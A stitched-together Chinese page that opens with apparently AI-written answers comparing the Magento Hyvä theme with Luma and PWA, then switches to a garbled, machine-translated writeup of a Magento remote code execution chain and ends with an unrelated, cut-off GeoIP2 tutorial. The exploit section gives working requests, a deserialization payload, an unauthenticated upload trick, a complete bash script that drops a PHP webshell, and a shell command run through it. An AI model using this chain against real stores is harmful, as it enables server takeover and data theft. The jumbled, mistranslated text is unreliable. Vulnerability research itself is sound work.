Hyvä是不是只对功能简单的项目有用。如果是功能复杂 第三方插件多的项目 就会有很多bug
这是一个非常成熟、也非常现实的问题。结论我先给你,然后把“为什么”讲透,不偏向 Hyvä 的营销说法。
先给结论(直接拍板用)
Hyvä 并不是“只适合简单项目”。
但:第三方前端耦合越重、历史越久的项目,Hyvä 的“迁移成本和适配工作”确实越高。Bug 多不多,不取决于功能复杂度,而取决于:
👉 有多少功能“把 JS/UI 写死在 Luma/Knockout/RequireJS 上”。
一、一个最重要的澄清(很多人误解)
❌ “功能复杂 = Hyvä 不适合”
❌ “插件多 = Hyvä 一堆 bug”
👉 真正决定 Hyvä 难度的不是“功能”,而是“前端耦合方式”。
二、Hyvä 的“极简”到底简在哪里?(不会简掉功能)
Hyvä 简的是前端技术栈,不是业务能力:
| 层级 | 是否被 Hyvä 改动 |
|---|---|
| 产品 / 价格 / 库存 / 促销 | ❌ 不动 |
| 订单 / 支付 / 税 / ERP | ❌ 不动 |
| Admin / 后端逻辑 | ❌ 不动 |
| 前台渲染方式 | ✅ 重写 |
| 前台交互 JS | ✅ 重写 |
👉 所以:
“复杂电商功能”本身不会因为 Hyvä 变复杂或不稳定。
三、那为什么大家会说“插件多 = Hyvä 风险大”?
因为 很多 Magento 插件“偷偷假设你在用 Luma”。
典型第三方插件的问题模式
❌ 1️⃣ 插件直接输出 Knockout / requirejs 组件
例如:
- 前台价格刷新
- Ajax Layered Navigation
- Popup / Slider
- 前台 form validation
这些插件往往:
- JS 写死在模板里
- 依赖
x-magento-init - 假设 requirejs 存在
👉 Hyvä 不支持这些前端实现,需要“换一种前端写法”。
❌ 2️⃣ 插件把“业务逻辑写在前端”
例如:
- 前端算价格
- 前端算折扣
- 前端控制库存展示
这种插件在 Hyvä 下会暴露问题:
👉 正确逻辑应该在后端
👉 Hyvä 只是让问题更早暴露
❌ 3️⃣ 插件没有前后端分层
好插件:
- 后端算逻辑
- 前端只展示
差插件:
- 后端给半成品
- 前端 JS 拼业务
👉 Hyvä 对“差插件”不友好。
四、什么样的“复杂项目”反而特别适合 Hyvä?
这是反直觉的地方。
✅ 复杂但架构干净的项目 → 很适合 Hyvä
例如:
- 大量 SKU
- 多仓、多价格规则
- 多语言、多站点
- ERP / OMS / CRM 深度集成
- 前端交互其实并不花哨
👉 这些项目 前端逻辑不复杂,后端很复杂
👉 Hyvä 非常合适
❌ 功能看似不复杂,但前端插件堆满 → Hyvä 成本高
例如:
- 各种 slider / popup / 前端过滤
- 多套 Ajax 搜索
- 各种营销小组件
- 历史插件多年叠加
👉 这种项目:
- 在 Luma 下“凑合能跑”
- 在 Hyvä 下必须“理一遍前端”
五、Hyvä 社区怎么解决“插件多”的问题?
1️⃣ 官方 Hyvä Compatibility Modules
Hyvä 官方维护了一批 常用插件的兼容模块,例如:
- Amasty
- Mageplaza(部分)
- Smile Elasticsuite(部分)
- Klarna / Stripe / PayPal(前台)
👉 这些插件 不用你自己重写。
2️⃣ 插件厂商开始“原生支持 Hyvä”
这是近两年最大的变化:
- 越来越多插件直接提供:
hyva目录- Alpine.js 模板
- 新插件默认考虑 Hyvä
👉 生态在变,不是你一个人踩坑。
3️⃣ 自己写 Hyvä Adapter(推荐做法)
对你们内部自研模块:
- 后端逻辑完全不动
- 只重写:
- template
- JS 交互(Alpine)
- 成本远低于重写整个模块
六、真实项目经验结论(不吹不黑)
| 项目类型 | Hyvä 结果 |
|---|---|
| 插件少 / 架构清晰 | 非常顺 |
| 插件多但主流厂商 | 可控(有兼容模块) |
| 插件多 + 老旧 + 魔改 | 成本高,但可做 |
| 前端业务逻辑堆积 | Hyvä 会逼你重构 |
👉 Hyvä 不是制造 bug,而是“逼你面对前端技术债”。
七、一个非常实用的判断方法(给你用)
你可以用这 5 个问题快速判断你们项目:
1️⃣ 有多少插件在前台输出大量 JS?
2️⃣ 有多少插件依赖 Knockout / requirejs?
3️⃣ 前端是否承担了“业务计算”?
4️⃣ 是否愿意花时间清理前端技术债?
5️⃣ 性能 / SEO 是否是当前的核心痛点?
如果 3 个以上回答是 YES → Hyvä 值得
如果几乎全是 NO → 继续 Luma 也没问题
八、一句“成熟结论”
**Hyvä 并不是“只适合简单项目”,
而是“更适合架构清晰、愿意长期维护的项目”。插件多不会天然导致 bug,
但会决定你需要做多少“前端适配工作”。**
如果你愿意,下一步我可以:
- 🧩 帮你 按插件清单评估 Hyvä 迁移风险(低/中/高)
- 🧩 告诉你 哪些插件是 Hyvä 红区,哪些是绿区
- 🧩 给你一套 “先上 Hyvä、再逐步适配插件”的落地路线
你只要贴一下:
👉 你现在最核心的 5–10 个前端插件名称
这是个很专业、问到本质的问题。我不讲营销话术,直接从 Magento 底层机制 + 前端执行模型 给你拆清楚:
一句话先给“底层结论”
Hyvä 并不是“魔法加速器”,而是:
把 Magento 前台里「最拖慢性能的那一整套东西」彻底拿掉,只保留真正必要的渲染与交互。
性能起飞不是“优化”,而是 架构级减负。
一、Magento 原生前台(Luma)的性能瓶颈在哪里?
先理解 Hyvä 为什么快,必须先知道 Luma 为什么慢。
1️⃣ Luma 的真实技术栈(问题根源)
Magento 2 默认前台(Luma)依赖:
- RequireJS(模块加载器)
- Knockout.js(MVVM)
- jQuery
- UI Components(JS 驱动)
- 巨量
x-magento-init - 多层 mixins
- 动态 JS 渲染 DOM
👉 这套东西在 2016 年是先进的,但现在是:
JS-heavy + Client-side render + 强依赖执行顺序
2️⃣ Luma 的“慢”不是单点,而是叠加效应
页面加载时真实发生的事:
- 浏览器下载 HTML(不完整)
- 加载 require.js
- require.js 解析几十上百个 JS 依赖
- Knockout 初始化 bindings
- JS 再生成 DOM / 更新 DOM
- CSS 阻塞渲染
- JS 执行时间很长(TTI 高)
👉 Lighthouse 里你看到的:
- JS execution time 高
- Main thread blocked
- TTI 很晚
不是“某个 JS 慢”,而是整套模型慢。
二、Hyvä 的原理是什么?(核心)
核心原则一句话:
“能用 HTML + CSS 解决的,绝不用 JS;
能在服务端渲染的,绝不放到浏览器。”
三、Hyvä 重写了什么?(重点)
1️⃣ 前端框架:彻底移除 RequireJS / Knockout
Hyvä 做的第一件事就是:
❌ 不用 RequireJS
❌ 不用 Knockout
❌ 不用 jQuery
改用:
✅ 原生 Magento PHP 模板渲染(.phtml)
✅ Alpine.js(极轻量)做交互
✅ 原生浏览器能力(事件 / CSS / HTML)
👉 Alpine.js 本质是:
- “HTML 增强器”
- 几 KB
- 不做复杂状态管理
2️⃣ UI Component → HTML + PHP
在 Luma 里,很多东西是 JS UI Component:
- minicart
- messages
- toggles
- tabs
- dropdown
- validation
Hyvä 的做法是:
- 90% 直接用 PHP 输出完整 HTML
- JS 只做:
- show / hide
- toggle
- fetch(必要时)
👉 DOM 一次生成完成,不等 JS。
3️⃣ CSS:Tailwind,解决“CSS 体积 & 阻塞”
Luma 的 CSS 问题:
- 巨大的 LESS
- 很多无用样式
- 阻塞渲染
Hyvä:
- 用 Tailwind
- 按需生成 CSS
- 几乎没有“没用的 CSS”
👉 CSS 文件体积骤减,首屏渲染更早开始。
4️⃣ JS 执行模型完全不同(关键)
Luma:
- JS = 页面结构的一部分
- 页面“靠 JS 活着”
Hyvä:
- JS = 装饰层(enhancement)
- 页面“没有 JS 也能用”
这就是性能差距的本质。
四、为什么 Hyvä 会让前台性能“起飞”?
不是一个原因,是 5 个效应叠加。
🚀 原因 1:JS 体积直接砍掉 70%–90%
- 不加载 require.js
- 不加载 Knockout
- 不加载大量 UI JS
👉 JS 下载 + 解析 + 执行 全部下降。
🚀 原因 2:首屏 HTML 是“完整的”
- Luma:HTML 是骨架
- Hyvä:HTML 是最终形态
👉 浏览器一拿到 HTML 就能画页面
👉 TTFB → FCP → LCP 连续完成
🚀 原因 3:主线程几乎不被 JS 阻塞
- Alpine.js 的 JS 执行时间极短
- 不存在复杂依赖树
👉 Lighthouse 的 “Main thread work” 会明显下降。
🚀 原因 4:CSS 更轻、更快生效
- 少量、精准 CSS
- 不等 JS 初始化
👉 FCP/LCP 明显提前。
🚀 原因 5:浏览器原生能力被充分利用
Hyvä 倾向用:
- CSS hover / focus
<details>/<summary>- 原生表单校验
- IntersectionObserver(少量)
👉 减少 JS = 减少性能风险。
五、Hyvä 到底“重写了哪些东西”?(实话)
Hyvä 重写的是:
- 前台主题(templates / layout / CSS / JS)
- 前台交互模式
- 前台 JS 架构
Hyvä 没有重写的是:
- Magento 后端
- Catalog / Price / Promotion 逻辑
- Checkout(核心流程)
- API / GraphQL
- Admin
👉 所以:
- 后端稳定
- 迁移成本可控
- 不是推倒重来
六、为什么 Hyvä 不会“慢慢变回 Luma 那样”?
因为它结构性避免了 JS 膨胀:
- 没有 UI Component 机制
- 没有 requirejs 依赖地狱
- 不鼓励 JS 驱动 DOM
👉 除非你自己硬往里塞重 JS,否则不会退化。
七、现实项目里的性能差距(常见)
在真实 Magento 项目中常见结果是:
| 指标 | Luma | Hyvä |
|---|---|---|
| JS 体积 | 600KB–1MB+ | 50–150KB |
| FCP | 2.5–4s | <1.5s |
| LCP | 3–6s | <2s |
| TTI | 5–10s | <3s |
| Lighthouse Performance | 30–60 | 80–95 |
八、给你一句“架构级总结”
Hyvä 快,不是因为“优化得好”,
而是因为它把 Magento 前台最慢的那一整套架构换掉了。
如果你愿意,下一步我可以:
- 🧩 对比 你当前前台 vs Hyvä 的“真实改动成本”
- 🧩 告诉你 哪些第三方模块在 Hyvä 下最容易/最难适配
- 🧩 给你一个 Hyvä 是否适合你这个项目的判断清单
你只要说一句:
👉「帮我评估是否适合 Hyvä」。
这是个很关键、也经常被误解的问题。我直接给你一个不营销、不站队、从 Magento 实战角度的解释。
一句话先给结论
Hyvä 不是 PWA,也不是替代 PWA 的技术。
Hyvä 是一个“极度精简、性能优先”的 Magento 前端主题架构。
PWA 是一套“前后端彻底分离”的应用架构。
它们解决的是完全不同层级的问题。
一、Hyvä 是什么?(说人话)
Hyvä = 给 Magento 换一套“更轻、更现代”的前端主题体系
它的核心思想是:
把 Magento 前台从“JS 地狱 + RequireJS + Knockout”里救出来
Hyvä 的技术栈(关键)
- ❌ 不用 RequireJS
- ❌ 不用 Knockout
- ❌ 不用 jQuery
- ✅ 用 Alpine.js(轻量交互)
- ✅ 用 Tailwind CSS
- ✅ 极少 JavaScript
- ✅ 完全兼容 Magento 后端(Catalog / Checkout / Admin 不变)
👉 本质:
Hyvä = 传统 Magento 前台的一次“瘦身重写”
二、PWA 是什么?(Magento 语境下)
Magento PWA(PWA Studio)= 前后端分离应用
特点:
- 前端:React / Vue
- 后端:Magento 只作为 API(GraphQL)
- 浏览器体验接近 App
- 支持:
- 离线
- 安装到桌面
- Service Worker
- 架构复杂、开发成本高
👉 本质:
PWA = Magento 变成“电商后端 API”
三、Hyvä vs PWA:核心区别(重点表)
| 维度 | Hyvä | PWA |
|---|---|---|
| 架构 | 传统主题(单体) | 前后端分离 |
| 是否用 Magento 原生渲染 | ✅ 是 | ❌ 否 |
| JS 复杂度 | 极低 | 很高 |
| 性能 | 非常快 | 快(但依赖实现) |
| SEO | 天然好 | 需要额外处理 |
| 开发成本 | 中 | 高 |
| 上线周期 | 快 | 慢 |
| 第三方模块兼容 | ❌ 需适配 | ❌ 基本全要重写 |
| 适合谁 | 90% 商业站 | 特殊场景 |
四、为什么现在 Hyvä 在 Magento 圈子里很火?
1️⃣ Magento 原生 Luma 前台已经“被放弃”
现实情况是:
- Luma 重
- RequireJS + Knockout 老旧
- 前台性能差
- SEO / Core Web Vitals 难搞
👉 社区普遍共识:Luma 不适合现代电商
2️⃣ Hyvä 是“最小成本换最大收益”
对企业来说:
- 不改后端
- 不改 checkout 逻辑
- 不改 ERP / OMS / Payment
- 前台性能直接起飞
👉 ROI 极高
3️⃣ PWA 对大多数商家来说“太重了”
PWA 的真实成本是:
- 前后端两套团队
- GraphQL 全链路维护
- 第三方模块全部重写
- SEO / 缓存 / SSR 持续投入
👉 很多项目最终放弃或半途而废
五、Hyvä 和 PWA 的“真实适用场景”
✅ 适合 Hyvä 的场景(非常多)
- 传统 B2C 电商
- 追求性能 / SEO
- 希望快速上线
- 预算可控
- 依赖大量 Magento 模块(支付、促销、ERP)
👉 这是现在 Magento 商业项目的主流选择
⚠️ 适合 PWA 的场景(少)
- 强 App 化体验(像 Shopee / Lazada)
- 离线 / 推送是核心
- 有前端团队
- 有长期维护预算
- 不依赖 Magento 前台生态
👉 这是“技术驱动型公司”的选择
六、一个常见误解(必须澄清)
❌ “Hyvä 是 PWA 的平替”
❌ “Hyvä 也能离线 / 安装 App”
都不对。
Hyvä:
- 还是网页
- 不提供 Service Worker
- 不做 App 能力
如果你想:
- 性能 + SEO + 稳定上线 → Hyvä
- App 化 + 前后端解耦 → PWA
七、给你一句“能拍板的总结”
**Hyvä 是“把 Magento 前台做对了”;
PWA 是“换了一种玩法”。现在 Hyvä 流行,是因为它用最小代价解决了 Magento 前台最大的痛点。**
八、如果你愿意,我可以继续帮你判断
你可以直接告诉我:
- 你现在用的是 Luma / 自定义主题 / PWA
- 站点规模(SKU、流量)
- 是否依赖很多第三方模块
- 目标是 性能 / SEO / 体验 / 可维护性
我可以直接告诉你:
👉 你这个项目适不适合 Hyvä,值不值得上。
Patch analysis
diff --git a/vendor/magento/framework/Webapi/ServiceInputProcessor.php b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
index ba58dc2bc7acf..06919af36d2eb 100644
--- a/vendor/magento/framework/Webapi/ServiceInputProcessor.php
+++ b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
@@ -246,6 +246,13 @@ private function getConstructorData(string $className, array $data): array
if (isset($data[$parameter->getName()])) {
$parameterType = $this->typeProcessor->getParamType($parameter);
// Allow only simple types or Api Data Objects
if (!($this->typeProcessor->isTypeSimple($parameterType)
|| preg_match('~\\?\w+\\\w+\\Api\\Data\\~', $parameterType) === 1
)) {
continue;
}
+
try {
$res[$parameter->getName()] = $this->convertValue($data[$parameter->getName()], $parameterType);
} catch (\ReflectionException $e) {
int MagentoTaxApiDataTaxRateInterface。考虑到这一点,我们知道我们要寻找的是复杂类型,例如 ` MagentoFrameworkSimplexmlElementint`和 `boolean`。之前Magento的关键漏洞。MagentoFrameworkWebapiServiceInputProcessor包含了大部分逻辑,它接收一个嵌套的 PHP 数组对象,并将其转换为目标类。为此,反序列化器会递归地检查对象的可设置字段,并将输入数组映射到相应的类型。-
使用类型化参数作为构造函数参数,或者
-
使用对象的公共 setter 函数(例如
public function setBlah(Blah $blah))
protected function _createFromArray($className, $data)
{
...
// 1. Set using the constructor
$constructorArgs = $this->getConstructorData($className, $data);
$object = $this->objectManager->create($className, $constructorArgs);
// 2. Set using public setters
foreach ($data as $propertyName => $value) {
if (isset($constructorArgs[$propertyName])) {
continue;
}
$camelCaseProperty = SimpleDataObjectConverter::snakeCaseToUpperCamelCase($propertyName);
try {
$methodName = $this->getNameFinder()->getGetterMethodName($class, $camelCaseProperty);
...
if ($methodReflection->isPublic()) {
$returnType = $this->typeProcessor->getGetterReturnType($methodReflection)['type'];
try {
$setterName = $this->getNameFinder()->getSetterMethodName($class, $camelCaseProperty); // 2.
} catch (\Exception $e) {
...
}
...
$this->serviceInputValidator->validateEntityValue($object, $propertyName, $setterValue);
$object->{$setterName}($setterValue);
}
} catch (\LogicException $e) {
$this->processInputErrorForNestedSet([$camelCaseProperty]);
}
}
...
}
-
MagentoQuoteModelQuotePayment -
MagentoQuoteModelQuoteAddress -
MagentoQuoteModelQuoteItem -
MagentoQuoteModelCartTotalsAdditionalData -
MagentoFrameworkApiSearchCriteria -
MagentoCheckoutModelShippingInformation -
MagentoCheckoutModelTotalsInformation -
MagentoGiftMessageModelMessage -
MagentoCustomerModelDataCustomer
MagentoFrameworkSessionSessionManager发现了一些非常有趣的功能:class SessionManager implements SessionManagerInterface, ResetAfterRequestInterface{
public function __construct(
\Magento\Framework\App\Request\Http $request,
SidResolverInterface $sidResolver,
ConfigInterface $sessionConfig,
SaveHandlerInterface $saveHandler,
ValidatorInterface $validator,
StorageInterface $storage,
\Magento\Framework\Stdlib\CookieManagerInterface $cookieManager,
\Magento\Framework\Stdlib\Cookie\CookieMetadataFactory $cookieMetadataFactory,
\Magento\Framework\App\State $appState,
?SessionStartChecker $sessionStartChecker = null) {
$this->request = $request;
$this->sidResolver = $sidResolver;
$this->sessionConfig = $sessionConfig;
$this->saveHandler = $saveHandler;
$this->validator = $validator;
$this->storage = $storage;
$this->cookieManager = $cookieManager;
$this->cookieMetadataFactory = $cookieMetadataFactory;
$this->appState = $appState;
$this->sessionStartChecker = $sessionStartChecker ?: \Magento\Framework\App\ObjectManager::getInstance()->get(
SessionStartChecker::class
);
$this->start();
}
public function start()
{
if ($this->sessionStartChecker->check()) {
if (!$this->isSessionExists()) {
...
$this->initIniOptions();
$this->registerSaveHandler();
...
session_start();
...
$this->validator->validate($this);
...
} else {
$this->validator->validate($this);
}
$this->storage->init(isset($_SESSION) ? $_SESSION : []);
}
return $this;
}
private function initIniOptions()
{
...
foreach ($this->sessionConfig->getOptions() as $option => $value) {
if ($option === 'session.save_handler' && $value !== 'memcached') {
continue;
} else {
$result = ini_set($option, $value);
...
}
}
}
}
$sessionConfig,我们可以控制传递给的选项ini_set(),其中包括一些非常有趣且敏感的选项MagentoFrameworkSessionConfig并非所有这些选项都可用,还需要检查底层类型。class Config implements ConfigInterface{
public function __construct(
\Magento\Framework\ValidatorFactory $validatorFactory,
\Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
\Magento\Framework\Stdlib\StringUtils $stringHelper,
\Magento\Framework\App\RequestInterface $request,
Filesystem $filesystem,
DeploymentConfig $deploymentConfig,
$scopeType,
$lifetimePath = self::XML_PATH_COOKIE_LIFETIME) {
...
$savePath = $deploymentConfig->get(self::PARAM_SESSION_SAVE_PATH);
if (!$savePath && !ini_get('session.save_path')) {
$sessionDir = $filesystem->getDirectoryWrite(DirectoryList::SESSION);
$savePath = $sessionDir->getAbsolutePath();
$sessionDir->create();
}
if ($savePath) {
$this->setSavePath($savePath);
}
...
}
public function setSavePath($savePath)
{
$this->setOption('session.save_path', $savePath);
return $this;
}
}
$deploymentConfig参数的路径最终会变成一个误导,有点像掉进兔子洞(但也差点儿就用到了远程文件包含——检查一下MagentoFrameworkAppDeploymentConfigReader),但我们可以直接访问setSavePath,因为它是一个公共的设置函数。-
MagentoQuoteModelQuotePayment -
MagentoPaymentHelperData -
MagentoFrameworkAppHelperContext -
MagentoFrameworkUrl -
MagentoFrameworkSessionGeneric -
MagentoFrameworkSessionSaveHandler -
MagentoFrameworkSessionConfig
PUT /rest/default/V1/guest-carts/abc/order HTTP/1.1Host: example.com
Accept: application/json
Cookie: PHPSESSID=testing
Connection: close
Content-Type: application/json
Content-Length: 265
{"paymentMethod": {"paymentData": {"context": {"urlBuilder": {"session": {"sessionConfig": {"savePath": "does/not/exist"}}}}}}}
HTTP/1.1 500 Internal Server Error
Date: Mon, 13 Oct 2025 21:05:17 GMT
Server: Apache/2.4.58 (Ubuntu)
Cache-Control: no-store
Content-Length: 104
Connection: close
Content-Type: application/json; charset=utf-8
{"message":"Internal Error. Details are available in Magento log file. Report ID: webapi-68ed6990bd170"}
400 Bad Request. This makes it a good payload for determining if a server is vulnerable.{
"paymentMethod": {
"paymentData": {
"context": {
"urlDecoder": {
"urlBuilder": {
"request": {
"pathInfoProcessor": {
"helper": {
"backendUrl": {
"session": {
"sessionConfig": {
"savePath": "PATH"
}
}
}
}
}
}
}
}
}
}
}
}
<session_config_class>MagentoQuoteModelQuoteAddress和 ` <session_config_class> MagentoQuoteModelQuoteItem`。这意味着也可以使用其他 API 端点。将这些与类似 `<session_config_class>` 的工具结合使用,可以更方便地进行配置。nowafpls这意味着绕过可能阻止未修改有效载荷的 WAF 非常容易。MagentoFrameworkSessionSaveHandlerRedis它不会访问本地文件系统,因此需要使用 Redis 特有的数据写入方法。然而,在这种情况下,反序列化链就变得不必要了,因为您可以写入一个具有特定名称的 Redis 键来实现反序列化(这在当前版本的 Magento 中似乎是不可能的)。尽管如此,Magento 中仍有数百个可访问的类,因此可能存在其他方法,例如允许您读取、写入和执行文件。../)也可以是绝对路径(/var/www/html/)。它相对于pub/网站根目录运行。它不支持 URI(file://例如,、http://等),因此对于完整的有效负载,我们需要某种方式将文件写入磁盘。未经认证的文件上传
routes.xml文件中指定。例如,该文件magento2/app/code/Magento/Customer/etc/frontend/routes.xml包含以下内容:<?xml version="1.0"?>
<!--
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
-->
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:App/etc/routes.xsd">
<router id="standard">
<route id="customer" frontName="customer">
<module name="Magento_Customer" />
</route>
</router>
</config>
-
router id="..."它指定了使用的请求路由器类型。有两种类型:“admin”和“standard”。我们感兴趣的是“standard”。 -
route id="...",它指定路由所在的端点。例如,所有 Customer 控制器都位于/customer。 -
module name="...",它提供了控制器所在的路径。该值Magento_Customer映射到magento2/app/code/Magento/Customer/,也就是我们最终找到Controller/子文件夹的位置。
Customer/Controller/Address/File/Upload.php<?php
...
class Upload extends Action implements HttpPostActionInterface{
...
public function execute()
{
try {
$requestedFiles = $this->getRequest()->getFiles('custom_attributes');
if (empty($requestedFiles)) {
$result = $this->processError(__('No files for upload.'));
} else {
$attributeCode = key($requestedFiles);
$attributeMetadata = $this->addressMetadataService->getAttributeMetadata($attributeCode);
$fileUploader = $this->fileUploaderFactory->create([
'attributeMetadata' => $attributeMetadata,
'entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS,
'scope' => CustomAttributesDataInterface::CUSTOM_ATTRIBUTES,
]);
$errors = $fileUploader->validate();
if (true !== $errors) {
$errorMessage = implode('</br>', $errors);
$result = $this->processError(($errorMessage));
} else {
$result = $fileUploader->upload();
$this->moveTmpFileToSuitableFolder($result);
}
}
} catch (...) {
...
}
$resultJson = $this->resultFactory->create(ResultFactory::TYPE_JSON);
$resultJson->setData($result);
return $resultJson;
}
/**
* Move file from temporary folder to the 'customer_address' media folder
*
* @param array $fileInfo
* @throws LocalizedException
*/
private function moveTmpFileToSuitableFolder(&$fileInfo)
{
$fileName = $fileInfo['file'];
$fileProcessor = $this->fileProcessorFactory
->create(['entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS]);
$newFilePath = $fileProcessor->moveTemporaryFile($fileName);
$fileInfo['file'] = $newFilePath;
$fileInfo['url'] = $fileProcessor->getViewUrl(
$newFilePath,
'file'
);
}
...
}
custom_attributes,并且不需要任何身份验证。深入研究该类中调用的一些方法,我们发现了一些有趣的限制和验证逻辑。app/code/Magento/Store/etc/config.xml完整列表请参见[此处]),但所有其他文件,包括没有扩展名的文件,均被允许上传。需要注意的是,在[此处] $fileProcessor->moveTemporaryFile(),文件名不会被修改,除非文件已存在,此时会在上传的文件名后附加_1“ _2/// _3etc”。<address> 访问/customer/address/file/upload,但实际上它可以通过 `<address>` 访问/customer/address_file/upload。代入一个必要的form_key参数(可以是任何值,只要它在 cookie 和表单参数中相同即可),我们期望得到一个已上传的文件。POST /customer/address_file/upload HTTP/1.1 Host: 192.168.198.130 Content-Length: 310 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ Cookie: form_key=f49TpaNHU56uEgZc Connection: close ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ Content-Disposition: form-data; name="form_key" f49TpaNHU56uEgZc ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ Content-Disposition: form-data; name="custom_attributes"; filename="test_file" Content-Type: text/plain Hello ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
{
"error": "No such entity with entityType = customer_address, attributeCode = name",
"errorcode": 0
}
$attributeCode = key($requestedFiles)and`时会出现此错误getAttributeMetadata($attributeCode)。PHPkey()中的 `get` 函数会获取给定数组中的下一个键,它主要与next()`for` 循环一起使用,用于遍历数组元素。但是,单独使用时,它只会获取数组的第一个键。var_dump($requestedFiles)可以解释为什么我们最终name得到attributeCode:array(6) {
["name"]=>
string(9) "test_file"
["full_path"]=>
string(9) "test_file"
["type"]=>
string(10) "text/plain"
["tmp_name"]=>
string(14) "/tmp/phpMsGHbm"
["error"]=>
int(0)
["size"]=>
int(5)
}
attributeCode检查呢?我们需要name在对象上设置一个名为 `target` 的自定义属性吗?毕竟,这段代码确实暗示了自定义属性的存在。或者我们需要用其他方式指定目标属性?也许我们遗漏了其他更简单的接口?custom_attributesinput custom_attributes[SOME_ATTRIBUTE]array name>`,输入数组的结构就会发生变化,这样我们就可以指定任何我们想要的属性了。array(1) {
["SOME_ATTRIBUTE"]=>
array(6) {
["name"]=>
string(9) "test_file"
["full_path"]=>
string(9) "test_file"
["type"]=>
string(10) "text/plain"
["tmp_name"]=>
string(14) "/tmp/phpk8FWf6"
["error"]=>
int(0)
["size"]=>
int(5)
}
}
mysql> SELECT attribute_code, frontend_input FROM eav_attribute
-> WHERE entity_type_id = (
-> SELECT entity_type_id FROM eav_entity_type
-> WHERE entity_type_code = 'customer_address'
-> );
+---------------------+----------------+
| attribute_code | frontend_input |
+---------------------+----------------+
| city | text |
| company | text |
| country_id | select |
| fax | text |
| firstname | text |
| lastname | text |
| middlename | text |
| postcode | text |
| prefix | text |
| region | text |
| region_id | hidden |
| street | multiline |
| suffix | text |
| telephone | text |
| vat_id | text |
| vat_is_valid | text |
| vat_request_date | text |
| vat_request_id | text |
| vat_request_success | text |
+---------------------+----------------+
country_id。把它代入表单后,就得到了我们想要的结果。POST /customer/address_file/upload HTTP/1.1Host: example.com
Content-Length: 647
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"
f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="test_file"
Content-Type: text/plain
Hello world
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
{"name": "test_file","full_path": "test_file","type": "text/plain","tmp_name": "test_file","error": 0,"size": 11,"file": "/t/e/test_file","url": "http://192.168.198.130/customer/address/viewfile/file/dC9lL3Rlc3RfZmlsZQ~~/"}
pub/media/customer_address/t/e/test_file。把所有东西整合起来
-se“/”--session-encode是必需的,这样才能确保会话序列化格式正确。phpggc 喜欢在有效负载数据中插入额外的换行符,并在属性名称中插入空字节,因此我们也需要-a“/”--ascii-strings来进行编码。HOST="http://example.com"
PAYLOAD_IN="/tmp/payload.php"
PAYLOAD_OUT="/var/www/html/magento2/pub/exploit.php"
FORMKEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
SESSID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 26 | head -n 1)
./phpggc -se -pub -a Guzzle/FW1 "$PAYLOAD_OUT" "$PAYLOAD_IN"
curl -ks --cookie "form_key=$FORMKEY" -F "form_key=$FORMKEY" -F "custom_attributes[country_id]=@/tmp/sess_$SESSID" "$HOST/customer/address_file/upload"
curl -ks -X PUT --cookie "PHPSESSID=$SESSID" --header 'Accept: application/json' "$HOST/rest/default/V1/guest-carts/abc/order" --json '{"paymentMethod":{"paymentData":{"context":{"urlBuilder":{"session":{"sessionConfig":{"savePath":"media/customer_address/s/e"}}}}}}}'
$ curl -ks "$HOST/pub/exploit.php" --data 'cmd=echo;echo;id;whoami;pwd;echo'
[{"Expires":1,"Discard":false,"Value":"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/www/html/magento2/pub
n"}]
结语
MagentoQuoteModelQuotePayment
MagentoQuoteApiDataPaymentExtensionInterface
MagentoQuoteModelQuoteAddress
MagentoQuoteModelQuoteItem
MagentoQuoteApiDataCartItemExtensionInterface
MagentoQuoteModelQuoteProductOption
MagentoQuoteApiDataProductOptionExtensionInterface
MagentoQuoteModelCartTotalsAdditionalData
MagentoQuoteApiDataTotalsAdditionalDataExtensionInterface
MagentoFrameworkApiSearchCriteria
MagentoFrameworkApiSearchFilterGroup
MagentoFrameworkApiSortOrder
MagentoCheckoutModelShippingInformation
MagentoCheckoutApiDataShippingInformationExtensionInterface
MagentoQuoteModelQuoteAddress
MagentoCheckoutModelTotalsInformation
MagentoCheckoutApiDataTotalsInformationExtensionInterface
MagentoQuoteModelQuoteAddress
MagentoGiftMessageModelMessage
MagentoCustomerModelDataCustomer
一. 安装 geoip2 库,并检查ip
第一步:安装 geoip2 库
composer require geoip2/geoip2:~2.0
第二步:下载 GeoLite2 数据库
需要注册账户,注册成功后就可以直接下载 GeoLite2 数据库
第三步:调用 ip 检测方法
$reader = new Reader('/var/geoip/GeoLite2-Country.mmdb'); //替换成自己的数据库文件路径
$record = $reader->city('128.101.101.101');
print($record->country->isoCode);
二. 更新 geoip2 数据库
下载用到的 API
https://www.geodbase-update.com/api/v1/edition
需要注册账户的 License key
直接上代碼:
<?php
namespace xxxx\xxxxxx\Helper;
use DirectoryIterator;
use Exception;
use FilesystemIterator;
use PharData;
use RecursiveDirectoryIterator;
use RecursiveIteratorIterator;
use ReflectionClass;
use ZipArchive;
/**
* Class Client
* @package tronovav\GeoIP2Update
*/
class Client
{
const ARCHIVE_GZ = 'tar.gz';
const ARCHIVE_ZIP = 'zip';
/**
* @var string Your account’s actual license key on www.maxmind.com
* @link https://support.maxmind.com/account-faq/license-keys/where-do-i-find-my-license-key/
*/
public $license_key;
/**
* @var string Your account’s actual "geodbase_update_key" on www.geodbase-update.com
* @link https://www.geodbase-update.com
*/
public $geodbase_update_key;
/**
* @var string[] Database editions list to update.
